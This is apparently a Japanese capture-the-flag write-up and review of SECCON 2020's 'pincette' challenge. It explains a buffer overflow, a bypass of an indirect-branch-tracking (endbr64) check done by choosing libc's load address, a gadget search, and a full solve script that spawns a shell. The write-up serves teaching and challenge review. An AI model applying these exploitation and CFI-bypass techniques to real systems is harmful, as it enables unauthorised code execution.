# pincette - SECCON Online 2020
###### tags: `SECCON`
## 概要
`ibt.cpp`, `libc.so`, `pincette_server_conf`, `server.py`, `vuln`が貰える。
`vuln`はだたのBOF。PIE無効。
```nasm
push rbp
mov rbp, rsp
sub rsp, 20h
mov rax, cs:execve_ptr
mov [rbp+var_18], rax
lea rax, [rbp+buf]
mov edx, 20h ; count
mov rsi, rax ; buf
mov edi, 0 ; fd
mov eax, 0
syscall ; LINUX - sys_read
lea rax, [rbp+var_18]
mov edx, 0
mov esi, 0
lea rdi, aBinSh ; "/bin/sh"
call qword ptr [rax]
leave
retn
```
`ibt.cpp`はindirect branchで飛び先にendbr64がある
server.pyで重要なのはココ。
```python=
# modify baseaddr of libc
baseaddr = int(input('Enter baseaddr of libc: '), 0)
rslt = subprocess.run(
['/usr/sbin/prelink', '-r', '0x%x' % baseaddr,dirname+'/libc.so'],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=False)
if rslt.returncode != 0:
sys.stdout.write(rslt.stdout.decode())
sys.exit(-1)
# execute vuln with modified libc
env = { 'LD_LIBRARY_PATH': dirname, 'LD_USE_LOAD_BIAS': '1'}
cmdline = [PIN_PATH, '-logfile', '', '-t', IBT_PATH, '-logfile', '', '--', '/opt/pincette/vuln']
payload = base64.decodebytes(input("Enter base64 payload: ").encode())
rslt = subprocess.run(cmdline, input=payload, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, check=False, env=env)
if rslt.returncode != 0:
sys.stdout.write(rslt.stdout.decode())
sys.exit(-1)
sys.stdout.write(rslt.stdout.decode())
```
**なぜか**libcのベースアドレスが指定できる。
prelinkを使うとなんかベースアドレスが指定できて、実現可能な場合はそれが採用される。
```
pwndbg> vmmap
0x400000 0x401000 r--p 1000 0 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln
0x401000 0x402000 r-xp 1000 1000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln
0x402000 0x403000 r--p 1000 2000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln
0x403000 0x404000 r--p 1000 2000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln
0x404000 0x405000 rw-p 1000 3000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/vuln
0xdeadbeef000 0xdeadbf46000 r--p 57000 0 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/libc.so
0xdeadbf46000 0xdeadbfda000 r-xp 94000 57000 /home/ptr/colony/2020_online_ctf/pwn/pincette/hoge/workdir/libc.so
...
```
もちろんベースアドレスの情報はELFヘッダに現れるのでgadgetとして使えたり使えなかったり。
```
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 03 00 3e 00 01 00 00 00 ef 31 fd db ea 0d 00 00 |..>......1......|
00000020 40 00 00 00 00 00 00 00 18 05 12 00 00 00 00 00 |@...............|
00000030 00 00 00 00 40 00 38 00 09 00 40 00 10 00 0f 00 |....@.8...@.....|
```
libcやvulnにはendbr64がそもそも存在しないのでこれを利用する。
で、問題のvulnバイナリは任意のアドレスにindirect branchが可能。
なぜか引数はexecve向けに設定されている。BOFのサイズ的にこのbranchでexecveを起動しないといけない。
gadgetとして5バイトコントロールできるが、上位2バイトを使うとアドレスが予測不能になるので実質3バイトまで。しかもendbr64は0xf3から始まるのでこれは使えず、実質2バイト。
ということでf3 0fをlibc中から探すと結構ある。
```
000263f0 00 f3 0f cb ef be ad de ec 20 06 cb ef be ad de |......... ......|
00026400 08 00 00 00 00 00 00 00 04 f3 0f cb ef be ad de |................|
00026420 08 f3 0f cb ef be ad de 3a 21 06 cb ef be ad de |........:!......|
00026430 08 00 00 00 00 00 00 00 0c f3 0f cb ef be ad de |................|
00026450 10 f3 0f cb ef be ad de f2 21 06 cb ef be ad de |.........!......|
00026460 08 00 00 00 00 00 00 00 14 f3 0f cb ef be ad de |................|
00026480 18 f3 0f cb ef be ad de 3a 22 06 cb ef be ad de |........:"......|
00026490 08 00 00 00 00 00 00 00 1c f3 0f cb ef be ad de |................|
000264c0 08 00 00 00 00 00 00 00 20 f3 0f cb ef be ad de |........ .......|
000264e0 24 f3 0f cb ef be ad de eb 22 06 cb ef be ad de |$........"......|
000264f0 08 00 00 00 00 00 00 00 18 f3 0f cb ef be ad de |................|
00026510 10 f3 0f cb ef be ad de 21 23 06 cb ef be ad de |........!#......|
00026520 08 00 00 00 00 00 00 00 28 f3 0f cb ef be ad de |........(.......|
```
次にendbr64 gadgetの候補を探索する。使える部分は以下のXの箇所。
0x114514XXXXXXX000
相対値を足しても114514が汚染されることはないので、これをマーカーとして使う。
この際、XXXXXXX0 + (delta >> 8)が0xfa1e0ff3になれば良いので、XXXXXXX0との差分を調べ、0xfa1e0ff3にできるような候補を出力する。
そんなプログラムを回すと無数の候補が出てくるのでendbr64の個数が最も多くなるようなものを探す。また、textセクションでかつ近くにretがあるものだけ出力する。
```python=
from ptrlib import *
import os
os.system("prelink -r 0x1145140000000000 ./libc.so")
# kasu
os.system("""\
objdump -h libc.so | grep .text | awk '{print "dd if=libc.so of=taromaru bs=1 count=$[0x" $3 "] skip=$[0x" $6 "]"}' | bash
""")
candidates = {}
with open("taromaru", "rb") as f:
buf = f.read()
while b'\x14\x45\x11' in buf:
pos = buf.index(b'\x14\x45\x11')
val = u32(buf[pos-4:pos])
if val & 0xf == 3 and b'\xc3' in buf[pos:pos+0x10]:
# possible!
base = (0xfa1e0ff3 - val) << 8
if base not in candidates:
candidates[base] = 0
candidates[base] += 1
buf = buf[pos+3:]
r = sorted(candidates.items(), key=lambda x:-x[1])
for i in range(10):
base, num = r[i]
print(f"base = 0x{base:x} / num = {num}")
```
pon
```
$ python test.py
606192+0 レコード入力
606192+0 レコード出力
606192 bytes (606 kB, 592 KiB) copied, 1.03428 s, 586 kB/s
base = 0xfa1e02c000 / num = 20
base = 0xfa1dfde000 / num = 3
base = 0xfa1e025000 / num = 3
base = 0xfa1e03c000 / num = 3
base = 0xfa1e03a000 / num = 3
base = 0xfa1e029000 / num = 3
base = 0xfa1e098000 / num = 2
base = 0xfa1dfea000 / num = 2
base = 0xfa1e06d000 / num = 2
base = 0xfa1dfe6000 / num = 1
```
上から順にropper君で調べる。このときgadgetの数を10くらいまで許容しないと全然出ない。
今回はこれを使う。
```
$ ropper -f ./libc.so --search "endbr64" --inst-count 10
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: endbr64
[INFO] File: ./libc.so
0x000000fa1e0612c1: endbr64; add byte ptr [rax], al; add byte ptr [rdi], cl; mov dh, 4; add cl, byte ptr [rdi]; mov dh, 0xc0; add eax, 0x10; pop rbp; ret;
0x000000fa1e061339: endbr64; add byte ptr [rax], al; add byte ptr [rdi], cl; mov dh, 4; add cl, byte ptr [rdi]; mov dh, 0xc0; add eax, 0x11; pop rbp; ret;
```
leaveは役に立たないが、call後のgadgetなのでpopが役に立つ。
ここで`add byte ptr [rax], al`が邪魔に見えるが、この先頭1バイトは0x7fまでの範囲で書き換えられるので、適当に4バイトほど消費してくれる命令に変える。
例えばこんな感じ。
```
25 00 00 0f
b6 04 02 0f
b6 c0 83 c0
10 5d c3
and eax, 0xb60f0000
add al, 2
movzx eax, al
add eax, 0x10
pop rbp
ret
```
これでRIPが取れるが、後はシェルを取る必要がある。
one gadgetを探したいが既存ツールでは見つからない。libc-2.31なのかposix_spawnが使われているが、IDAで探すと次のようなone gadgetが見つかる。
```nasm
...
mov rdx, offset aC_1 ; "-c"
mov rsi, offset aSh ; "sh"
mov rdi, offset aBinSh ; "/bin/sh"
mov eax, 0
mov r10, offset execl
call r10 ; execl
```
見た目の条件はrdx=NULL。
今、RIPを取ったときのレジスタは次のようになっている。
```
RAX 0x12
RBX 0x0
RCX 0x40102b (_start+43) ◂— lea rax, [rbp - 0x18]
RDX 0x0
RDI 0x402000 ◂— 0x68732f6e69622f /* u'/bin/sh' */
RSI 0x0
R8 0x0
R9 0x0
R10 0x7f7a18e16170 ◂— 0x0
R11 0x306
R12 0x401000 (_start) ◂— push rbp
R13 0x7ffea110d310 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x401042 (_start+66) ◂— leave
RSP 0x7ffea110d2e8 ◂— 0xffffffffdeadbeef
RIP 0x25fa1e0612d3 ◂— ret
```
rdx=NULLなのでそのまま呼び出せる。
特にmovapsにかかることなく動いた。
```python
from ptrlib import *
p = Process("./vuln", env={"LD_LIBRARY_PATH": "./"})
payload = p64(0x000025fa1e0853ce)
payload += p64(0x000025fa1e0612c1)
payload += p64(0xcafebabe)
payload += p64(0xfee1dead)
p.send(payload)
p.interactive()
```
はい。
```
$ python solve.py
[+] __init__: Successfully created new process (PID=5718)
[ptrlib]$ ls
[ptrlib]$ libc.id0 libc.id2 libc.so solve.py taromaru test.py~ vuln
libc.id1 libc.nam libc.til solve.py~ test.py toromaru
```
## 非想定解の有無
重大な欠陥は見当たらない。
one gadgetが使えるので、標準で引数を設定したりexecveを呼ぼうとしている処理は不要。
## 意見等
- ibt.soは(ibt.cppとともに)配布するべきだと思う。というかパス変えるの面倒なのでDockerfileで欲しい感。
- rootで動かしてるのは大丈夫...?どっかで権限落ちる?
- endbr64を調べる際にPINからメモリアクセスしてるけど専用の命令使わないとスレッドセーフにならなかった気がする。それで問題が起きるかは知らず。